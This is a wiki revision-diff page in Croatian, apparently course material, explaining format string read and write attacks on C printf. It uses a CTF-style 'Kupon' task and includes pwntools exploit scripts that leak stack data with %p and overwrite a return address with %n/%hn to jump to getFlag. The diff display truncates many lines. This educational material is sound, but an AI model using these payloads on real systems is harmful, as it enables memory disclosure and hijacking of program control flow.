string_format_read
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| string_format_read [2025/02/06 21:14] – sitno mbunic | string_format_read [2025/12/01 11:40] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| ====String format read/ | ====String format read/ | ||
| - | Format string read napad iskorištava dinamiku funkcija s formatiranim stringovima i načina na koji se argumenti dodjeljuju tim funkcijama. | + | Format string read napad iskorištava dinamiku funkcija s formatiranim stringovima i načina na koji se argumenti dodjeljuju tim funkcijama. Moguć je onda, kad ranjiva aplikacija dozvoljava korisniku-napadaču da definira format string naredbe " |
| - | Uzmimo | + | Uzmimo |
| printf(" | printf(" | ||
| - | %s označava „placeholder” za string varijablu koji će printf ispuniti zadanim argumentom username i zatim ispisati rezultat. | + | %s označava „placeholder” za string varijablu koji će printf ispuniti zadanim argumentom username i zatim ispisati rezultat. Interno, printf prati svaki placeholder (npr. %s, %d, %x, %p …) i očekuje da je svaki potkrijepljen dodatnim argumentom kako bi ga popunio. Npr. |
| - | Interno, printf prati svaki placeholder (npr. %s, %d, %x, %p ...) i očekuje da je svaki potkrijepljen dodatnim argumentom kako bi ga popunio. | + | |
| - | Npr. | + | |
| printf(" | printf(" | ||
| mora sadržavati 2 dodatna argumenta uz početni string (dakle first_name i last_name) kako bi ispravno radio. | mora sadržavati 2 dodatna argumenta uz početni string (dakle first_name i last_name) kako bi ispravno radio. | ||
| Line 12: | Line 10: | ||
| Ranjivost: | Ranjivost: | ||
| Ako programer definira ispis varijable uz pomoć formatirane funkcije bez da zada ispravan broj argumenta, formatirana | Ako programer definira ispis varijable uz pomoć formatirane funkcije bez da zada ispravan broj argumenta, formatirana | ||
| - | funkcija ne može razaznati radi li se o grešci ili ne zbog čega uzima argumente | + | funkcija ne može razaznati radi li se o grešci ili ne zbog čega će uzeti onoliko argumenata koliko je definirano u format stringu. Prvih pet uzima iz registara sačuvanih |
| - | (argumenti 7 itd...) kako bi popunila zadane formate. | + | |
| Primjer: | Primjer: | ||
| printf(„%p %p”); | printf(„%p %p”); | ||
| - | Ispisat će se sadržaji argumenata 2 i 3 (koji zapravo ne postoje, već će se uzeti s tih pozicija u memoriji: x64 konvencija, | + | Ispisat će se sadržaji argumenata 2 i 3 (koji zapravo ne postoje, već će se uzeti s tih pozicija u memoriji: x64 konvencija, |
| - | u formatu pointera: | + | |
| printf(format); | printf(format); | ||
| Ekvivalent gornjem primjeru, ispisat će se sadržaj u memoriji koji bi sadržavao argumente na 2 i 3 u formatu pointera. | Ekvivalent gornjem primjeru, ispisat će se sadržaj u memoriji koji bi sadržavao argumente na 2 i 3 u formatu pointera. | ||
| X64 konvencija na linuxu definira da se argumenti za funkcije nalaze redom: | X64 konvencija na linuxu definira da se argumenti za funkcije nalaze redom: | ||
| - | Unutar funkcije registri koji sadrže argumente pushaju se na stog nakon lokalnih varijabli. | + | Unutar funkcije, registri koji sadrže argumente pushaju se na stog nakon lokalnih varijabli. |
| Zbog toga format string read napad omogućava napadaču da čita proizvoljan broj podataka sa stoga ako je korisniku dopušteno definiranje format stringa. | Zbog toga format string read napad omogućava napadaču da čita proizvoljan broj podataka sa stoga ako je korisniku dopušteno definiranje format stringa. | ||
| Maksimalan broj argumenata koje registri mogu sadržavati jest 6. | Maksimalan broj argumenata koje registri mogu sadržavati jest 6. | ||
| - | RDI (prvi registar) sadrži | + | RDI (prvi registar) sadrži |
| - | To znači da ako se unese veći broj formata | + | To znači da ako se format string definira |
| - | argumente sa stoga koji prethode base pointeru. | + | |
| ====Kupon==== | ====Kupon==== | ||
| Line 49: | Line 45: | ||
| printf(input) | printf(input) | ||
| - | nalazi se ranjivost string format reada. Unutar polja kupon veličine 48 bajtova nalazi se flag. Dakle potrebno je ispisati vrijednost flag-a sa stoga uz pomoć | + | nalazi se ranjivost string format reada. Unutar polja kupon veličine 48 bajtova nalazi se flag. Dakle potrebno je ispisati vrijednost flag-a sa stoga uz pomoć |
| - | string format | + | |
| - | zbog optimizacije stoga, no u ovom slučaju poredak je sačuvan, za provjeru uvijek je moguće ručno pregledati stog uz pomoć gdb-a). | + | To znači da će se nakon poziva nove funkcije polje kupon nalaziti na adresama iznad postavljene |
| - | To znači da će se nakon poziva nove funkcije polje kupon nalaziti na adresama iznad postavljenje | + | |
| - | namijenjena argumentima 7 pa nadalje. Dakle, ako u polje input upišemo // | + | |
| za argumente 2-6, a preostalih 6 //%p// će ispisati sadržaj cijelog polja kupon (jer mu je veličina 48 bajtova, a jedan pointer je veličine 8 bajtova). | za argumente 2-6, a preostalih 6 //%p// će ispisati sadržaj cijelog polja kupon (jer mu je veličina 48 bajtova, a jedan pointer je veličine 8 bajtova). | ||
| Nakon ispisa danih adresa od 6. pointera pa nadalje jest sadržaj polja kupon. Taj sadržaj je potrebno provući kroz hex converter u tekst i time će se dobiti sadržaj polja kupon. | Nakon ispisa danih adresa od 6. pointera pa nadalje jest sadržaj polja kupon. Taj sadržaj je potrebno provući kroz hex converter u tekst i time će se dobiti sadržaj polja kupon. | ||
| Line 59: | Line 53: | ||
| ----- | ----- | ||
| Napomena 1: | Napomena 1: | ||
| - | Zbog little endian zapisa, %p format očekuje da su na nižim adresama bajtovi manjih potencija, a sami zapis stringa je poredan od niže adrese prema višoj zbog čega | + | Zbog little endian zapisa, %p format očekuje da su na nižim adresama bajtovi manjih potencija, a sami zapis stringa je poredan od niže adrese prema višoj zbog čega je svaki bajt stringa unutar pointera ispisan obrnutim redoslijedom. Posljedično tome završetak stringa (opisan s newline \n tj. \x0a u hex formatu) " |
| - | je svaki bajt stringa unutar pointera ispisan obrnutim redoslijedom. Posljedično tome završetak stringa (opisan s newline \n tj. \x0a u hex formatu) " | + | Recimo da je ispis nekog pointera |
| - | Recimo da je ispis nekog pointer | + | |
| pointera kako bi se ispisale ispravne vrijednosti: | pointera kako bi se ispisale ispravne vrijednosti: | ||
| Line 132: | Line 125: | ||
| Prva adresa koja tome odgovara je na offsetu 20 od vrha stacka (tj. rsp-a) prikazano crvenom strelicom. | Prva adresa koja tome odgovara je na offsetu 20 od vrha stacka (tj. rsp-a) prikazano crvenom strelicom. | ||
| - | Jedan offset odgovara 8 bajtova pošto je to zadana veličina argumenta //%p//. Međutim za dohvatiti tu adresu format string read napadom potrebno je upisati //%25$p//, a ne //%20$p// zato što se po Linux call konvenciji prvih 5 argumenata uvijek nalaze u registrima. Stoga, tek nakon 5. argumenta se vrijednost krenu uzimati s vrha stoga. | + | Jedan offset odgovara 8 bajtova pošto je to zadana veličina argumenta //%p//. Međutim za dohvatiti tu adresu format string read napadom potrebno je upisati //%25$p//, a ne //%20$p// zato što se po Linux call konvenciji prvih 5 argumenata uvijek nalaze u registrima. Stoga, tek nakon 5. argumenta se vrijednosti počnu |
| Nakon toga je potrebno kroz debugger vidjeti koliki je offset od adrese koje smo dobili do pohranjene //return// adrese (pohranjenu //return// adresu možemo vidjeti npr. naredbom telescope $rbp). | Nakon toga je potrebno kroz debugger vidjeti koliki je offset od adrese koje smo dobili do pohranjene //return// adrese (pohranjenu //return// adresu možemo vidjeti npr. naredbom telescope $rbp). | ||
| + | |||
| + | Zatim je potrebno izmijeniti return adresu kako bi se skočilo na adresu getFlag funkcije. | ||
| + | |||
| + | Funkcija //printf// nudi funkcionalnost pisanja pomoću %n // | ||
| + | Pomoću placeholdera //%n// se može upisati integer vrijednost (4 bajta), a pomoću placeholdera //%hn// short vrijednost (2 bajta). | ||
| + | |||
| + | Primjerice poziv < | ||
| + | |||
| + | |||
| + | U zadatku moramo napisati payload koji će zapisati adresu // | ||
| + | |||
| + | Budući da pomoću " | ||
| + | |||
| + | Podijelimo 0x00000000004011f6 na dijelove: | ||
| + | 00000000 -> mora se zapisati na stack_return_addr+4 (return adrese su pohranjene u little-endian formatu, a stack raste prema nižim adresama) -> lako ga je zapisati pomoću " | ||
| + | 0040 -> mora se zapisati na stack_return_addr+2, | ||
| + | 11f6 - mora se zapisati na stack_return_addr, | ||
| + | |||
| + | Sastavimo za početak u pythonu samo payload za zapisivanje 00000000 na p64(stack_return_addr+4) - p64 je funkcija iz biblioteke // | ||
| - | # | + | < |
| - | Zadnje sto je potrebno napraviti jest izmijeniti return adresu kako bi se skočilo na adresu getFlag funkcije. | + | %10$n znači - upiši broj znakova koji se do sad ispisao u ovom printf pozivu (nula) u integer formatu na adresu koja je deseti argument funkcije printf |
| - | Printf nudi funkcionalnost pisanja s pomoću | + | |
| - | karaktera | + | |
| - | Primjer takvog payloada jest: "%10$n%64x%11$hn%4534x%12$hnaaaaa" | + | Koji je deseti argument funkcije printf? Prvih pet argumenata su pohranjeni u registrima, dok se ostali uzimaju sa stoga. Sam payload string će se nalaziti na stogu, //%10$n// zajedno s 27 znakova " |
| - | %n jest upis integer vrijednosti | + | Sada bismo trebali zapisati vrijednost " |
| - | Dijelovi payloada su sljedeći: %10$n, | + | |
| - | Cilj jest upisati adresu getFlag funkcije, 0x00000000004011f6. Format adresa je u LSB obliku (manje vrijednosti dolaze prije). | + | Naš payload bi postao < |
| - | Prvo se upisuje vrijednost 0 na gornja 4 bajta s prvim dijelom payloada, | + | |
| - | Zatim se uz pomoć | + | |
| - | Na kraju, ispisuje se dodatnih 4534 razmaka | + | |
| - | Dakle, redom su upisane vrijednosti 0x00000000, 0x0040 i 0x11f6 na adrese | + | Zatim je potrebno upisati |
| - | adresi getFlag funkcije u LSB obliku. Kako bi se ispravni argumenti uzimali s vrha potrebno je napraviti ispravan alignment. | + | |
| - | U ovom primjeru, duljina stringa | + | |
| - | " | + | |
| - | u obzir 5 argumenata danih kroz registre, stack_ret_addr+4 argument se nalaze | + | |
| - | To jest funkcija niza " | + | |
| - | (jer ispis tih znakova dolazi nakon upisivanja kroz %n ili %hn). | + | |
| - | Za ručno sastavljanja payloada, najprije se odrede dijelovi adrese i poredaju rastući. Najviših | + | Tako naš payload postaje: |
| - | 4 bajta adrese getFlag funkcije su 0, zbog čega taj dio dolazi kao prvi argument. Ovisno o payloadu, poredak se može izmijeniti. Također, dobra je praksa | + | < |
| - | podijeliti vrijednosti na short umjesto int jer ispis razmaka traje kraće. Umjesto ispisivanja 0x004011f6 znakova ispiše se najprije 0x40 i zatim 0x11f6. | + | |
| - | Jednom kada se sastavi kostur payloada (poredak argumenata, ispis razmaka s %x i upis vrijednosti kroz %hn ili %n) potrebno je igrati se s poravnanjem. Odredi se pozicija | ||
| - | prvog argumenta koji se nalazi iza trenutačne duljine stringa, npr. ako je duljina trenutačnog stringa 34 sljedeći višekratnih broja 8 jest 40 što znači da će prvi argument biti | ||
| - | na poziciji 11 itd... | ||
| - | Napomena, placeholder %nx gdje je n neki broj ispisuje hex vrijednost duljine n. Ako je duljina hex vrijednosti manja od n prazna mjesta će se popuniti | + | Payload kojim možemo overwriteati return adresu |
| - | (jer je n manji od 8) ispis će biti dulji od n. Generalno će n-ovi će biti brojevi veći od 8 pa se ne treba brinuti o tome, no ako nije to može utjecati na payload. | + | < |
| + | Exploit kod | ||
| + | < | ||
| + | from pwn import * | ||
| + | p = remote(" | ||
| + | |||
| + | p.recvuntil(b" | ||
| + | |||
| + | offset = 0x110 #dobiveno pregledom memorije | ||
| + | |||
| + | payload1 = b" | ||
| + | |||
| + | p.sendline(payload1) | ||
| + | |||
| + | stack_ret_addr = int(re.findall(b" | ||
| + | |||
| + | # | ||
| + | |||
| + | payload2 = b" | ||
| + | |||
| + | p.sendline(payload2) | ||
| + | p.sendline(b" | ||
| + | |||
| + | print(p.recvall()) | ||
| + | |||
| + | |||
| + | |||
| + | </ | ||
| ===Pwntools=== | ===Pwntools=== | ||
| Line 177: | Line 200: | ||
| {{pwntools_fmt_str.png}} | {{pwntools_fmt_str.png}} | ||
| - | Automatiziranje exploita se može postići uz pomoć pwntoolsa. | + | Automatiziranje exploita se može postići uz pomoć pwntoolsa. |
| - | se želi upisati proizvoljna vrijednost i na kraju se funkcija izvrši. | + | |
| + | Funkcija fmtstr_payload kao argumente prima offset do prvog kontroliranog argumenta printf funkcije | ||
| + | |||
| + | < | ||
| + | from pwn import * | ||
| + | |||
| + | context.arch=" | ||
| + | |||
| + | p = process(" | ||
| + | |||
| + | ret_addr = 0x4011f6 | ||
| + | |||
| + | p.recvuntil(b" | ||
| + | p.sendline(b" | ||
| + | stack_ret_addr = int(re.findall(b" | ||
| + | |||
| + | payload = fmtstr_payload(6, | ||
| + | p.sendline(payload) | ||
| + | |||
| + | p.sendline(b" | ||
| - | Na primjeru zadatka, slanje zadnjeg posljednjeg payloada bi izgledao na sljedeći način: | + | print(p.recvall()) |
| + | </ | ||
| + | U odnosu na prijašnji eksploit, sve je identično osim generiranja samog payloada. | ||
| - | format_string = FmtStr (execute_fmt=send_payload) | + | Napomena: |
| - | | + | Argument offseta fmtstr_payload funkcije jest 6 zato što je 6. argument prvi argument na stacku. |
| - | | + | Prvih 5 se nalazi u registru i napadač nema kontrolu nad njima. |
| - | Uz automatizirano exploitanje, | + | Fmtstr_payload funkciji |
string_format_read.1738876492.txt.gz · Last modified: 2025/12/01 11:40 (external edit)